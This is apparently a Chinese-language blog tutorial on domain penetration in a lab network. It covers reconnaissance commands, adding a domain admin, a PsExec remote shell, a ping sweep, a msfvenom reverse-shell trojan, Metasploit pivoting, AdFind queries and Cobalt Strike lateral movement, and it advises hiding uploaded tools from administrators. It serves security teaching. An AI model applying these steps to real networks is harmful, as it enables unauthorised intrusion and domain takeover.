域渗透-域环境信息采集与利用

        当进入内网后,我们首先需要对当前环境进行判断,要考虑如下两个问题:1、我是谁?(确定当前机器的角色)2、位于何处?(当前机器所处的环境)

        为了解决这些问题,以及进一步扩大战果,我们需要进行信息收集

一、学习进程

1、域内常用命令

  • 判断当前所在域
ipconfig /all #查看网卡配置信息,本机IP段,所在域
ping -a -4 192.168.112.100  #通过IP反射查找域名

net config workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域

 使用如下命令去建立与Windows7的连接,Windows7的IP地址为192.168.112.231

net use \\192.168.112.231 /user:denny 123456

 使用如下命令将Windows7的命令行界面返回到本机上

PsExec.exe \\192.168.112.231 cmd.exe

  • 查看当前存在几个域
net view /domain

如果该命令无法正常执行,则需要启动域控服务器上的Computer browser服务

  • 查看域时间
net time /domain

  • 管理域用户的相关操作(需要管理员权限)
net user 用户名 密码 /add /domain  #添加域用户
net group "domain admins" 用户名 /add /domain  #将该用户添加至管理员组中
  • 看看该域里面有几个主机
net view /domain:woniuxy

ping一下域里面的主机,看看能否ping通

二、信息收集

2.1 本机信息

2.1.1 当前用户登录

whoami /fqdn #查看当前用户的FQDN(可分辨名称)
whoami /priv #查看当前用户拥有的安全特权
whoami /user #显示当前用户的信息以及安全标识符(SID)
whoami /all #显示当前用户名、属于的组以及安全标识符(SID)和当前用户访问令牌的特权

域中常见的用户身份(用户组):

  • Domain Admins:域管理员,拥有对此域内的其他成员完全控制的权限
  • Domian Controllers:域控制器
  • Domian Users:域用户
  • Domain Computers:域内机器
  • Domain Guests:域内来宾用户组,低权限

2.1.2 用户列表信息

net user #查看本机用户
net user /domain #查看域内用户

2.1.3主机信息收集

通过主机信息判断拿到权限是普通计算机,还是服务器。我们可以通过主机的计算机名称、计算机上的文件和端口开放情况来进行判断

  • 若主机上有"C:\\inetpub",说明其可能安装iis服务,是一台Web服务器
  • 通过开放的端口进行确认,使用命令netstat 查看主机网络连接状态,若本地监听80、443端口,则可能为Web服务器;若监听53端口,则可能为DNS服务器
  • 通过主机的计算机名称、计算机描述等信息,例如dc.woniuxy.com,说明此计算机可能为该域的DC

2.1.4 进程列表消息

查看进程列表,我们可以知道机器上运行着什么程序软件,有无杀毒软件、安全防护软件、VPN、FTP等服务或软件。方便后续利用,如免杀木马制作、提权等

  • 使用系统命令tasklist

  •  或使用第三方软件,如D盾

2.1.5系统信息

收集系统信息,如系统版本、补丁信息等

  • 使用系统命令systeminfo

我们也可以使用命令dxdiag去查看整个操作系统的关键信息

  • 使用wmic命令查看全部补丁信息
wmic qfe list full

2.2 域信息收集

        我们在域中一般收集域用户信息,域控制器信息,域用户登录日志信息,域内所有用户名、全名和备注等信息,域内工作组信息,域管理账号信息,域内网段划分信息与域内组织单位信息等

        而我们进入一个域环境,刚开始大概率获取的是域内普通用户权限,所以在前期要收集的信息多以域控的地址、域用户或者系统等信息为主。我们可以使用Windows系统自带的命令收集域基础信息,以下列举一些信息收集的方法

2.2.1 查找当前域

确定当前环境存在几个域,域的大致结构,常用命令如下:

net view /domain #查看当前存在几个域
net view /domain:域名称 #查看当前域中的所有计算机

2.2.2 查找域控 

1、通过查看logoserver信息找到域控制器

set logonserver #查看客户端登录到哪台域控制器,简写为 set log

2、通过查找srv记录,找到域控

我们使用Kali通过MSF远程连接到Windows7上,我们将Windows锁定,锁定的目的是我们假设我们使用木马远程连接到了Windows7,使环境更加的真实

SRV记录是域名系统(DNS)资源记录。它用于标识托管特定服务的计算机。SRV资源记录用于查找Active Directory的域控制器。常用nslookup命令进行查询,如下:

nslookup -type=SRV _ldap._tcp.woniuxy.com #查找域控制器的轻型目录访问协议(LDAP)SRV记录

3、使用nltest命令查询工作站与域控间的信任关系

nltest /dclist:woniuxy.com #查找dc列表

2.2.3 查找域管理员

        在域中若能获取域管理员的权限则可以对域内的其他成员完全控制,不过首先我们找到域管理员用户。我们可以使用"net group"命令查找域中的域管理员组成员,如下:

net group "domain admins" /domain #查找域中的域管理员组成员

2.3 主机发现

        通过主机发现了解当前网络中设备的分布情况,查看内网有没有其他机器等,在域内进行横向渗透的时候也需要收集主机端口和ip信息

2.3.1 查看路由表

route print #打印当前windows主机上的路由表

2.3.2 查看ARP缓存

arp -a #查看当前设备上的arp缓存记录

2.3.3 使用ping探测

for /l %i in (1,1,255) do @ping 192.168.12.%i -w 1 -n 1|find /i "ttl="

三、信息收集工具

3.1 使用MSF框架进行信息搜集

        此处用msfvenom制作exe类型的反弹shell木马后直接上传至域用户zhangsan的主机中运行,并用msf监听

以下展示meterpreter模块中使用对应工具进行信息搜集:

1、枚举域信息

run post/windows/gather/enum_domain

2、展示补丁信息

run post/windows/gather/enum_patches

3、查看用户最近打开文档

run post/windows/gather/dumplinks

以下msf的模块工具需要在域中使用,但因为内网一般不和kali在一个网段,我们可以使用MSF框架中自带的一个路由转发功能,在已经获取shell的meterpreter的session会话中添加一条去往内网的路由,此路由的下一跳转发,即网关,指向这个session。通过添加路由功能,可以直接使用MSF去访问原本不能直接访问的内网资源

4、主机存活探测

auxiliary/scanner/discovery/arp_sweep ARP #通过arp扫描
auxiliary/scanner/discovery/udp_sweep UDP #通过UDP扫描
auxiliary/scanner/netbios/nbname NETBIOS #通过NetBIOS扫描
auxiliary/scanner/snmp/snmp_enum SNMP #通过SNMP扫描

我们去扫描一下158这台机器的端口

5、端口扫描

auxiliary/scanner/portscan/syn #通过SYN进行端口扫描
auxiliary/scanner/portscan/tcp #通过TCP进行端口扫描
auxiliary/scanner/portscan/ack #通过ACK进行端口扫描

3.2 其他域信息收集工具

3.2.1 AdFind

我们要模拟攻击者的手段

首先进入到meterpreter中,看看上传文件需要啥命令

然后将AdFind.zip复制到Kali上,然后进行解压

 将解压好的AdFind.exe通过meterpreter上传到Windows7上

然后shell进去

 查看一下是否上传成功,发现名字不对,我们将名字改正回来

 重命名成功

 但尽量还是不要上传工具,容易被管理员发现,如果没办法需要权限维持的时候,我们将其藏得深一点即可

  • 列出域控制器名称
AdFind.exe -sc dclist

  • 查看域控版本
AdFind.exe -schema -s base objectversion

  • 查看所有在线主机
AdFind.exe -sc computers_active

  • 查看当前域内所有用户、用户组  
AdFind.exe -users name

  • 查看域管账号
AdFind.exe -default -f "(&(|(&(objectCategory=person)(objectClass=user))(onjectCategory=group))(adminCount=1))" -dn

  • 其他命令

四、使用CS插件进行信息收集

我们先打开我们的公网服务器

开启CS服务端

在Kali上启动我们的客户端

然后点击connect连接,进入到CS的客户端的界面

将Windows7上的这个程序跑起来

发现那台Windows7的目标主机上线

CS自带了一些功能,在Explore上,我们使用net view那个功能,目的是去扫描IP

下图是扫描的结果,主机名、IP地址、操作系统版本号

然后我们进入到视图里面,有一个targets,点击

然后就会把我们扫描到的主机列举出来

 然后在主机名那儿右击,jump,我们把这个动作称之为横向移动

jump一下,看看能不能让112.100这个域控上线

进来之后有点懵,不知道该填啥

因为我们作为攻击者无法知道域控的用户名和密码,我们只知道Windows7的,因为我们模拟已经拿下了WIndows7

然后发现底下有一个选项,大致的意思就是用当前这个连接的session的令牌,顾名思义,也就是zhangsan这个用户

勾选之后,域控的用户名和密码不需要填了

选择listener,目的就是想办法把这个木马植入到112.100这台域控环境上去

session选择当前这一台,也就是zhangsan

填写完毕

然后Launch

然后不可能一下子就跳过去,下一个文章将如何跳过去

接下来还可以进行端口扫描,先扫IP,后扫端口

信息采集只有这两种方式,net view和port scan 

 

接下来,我们做插件,在Cobalt Strike这儿选择Script Manager

然后点击load加载插件

只加载下面两个插件,这两个插件功能很多,适合内网和域渗透

加载成功

加载之后我们针对这台主机进行信息搜集,是信息收集里的常用信息

 想收集啥就勾选啥,然后点击运行,比如下图

然后就开始在Beacon这边所有任务都下发,完了之后开始给我们反馈,一个一个的输出

接下来看看内网信息可以采集什么

然后运行

 主机名我们不知道,所以不输

然后Beacon那儿一口气给我们输出了我们想要的信息

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值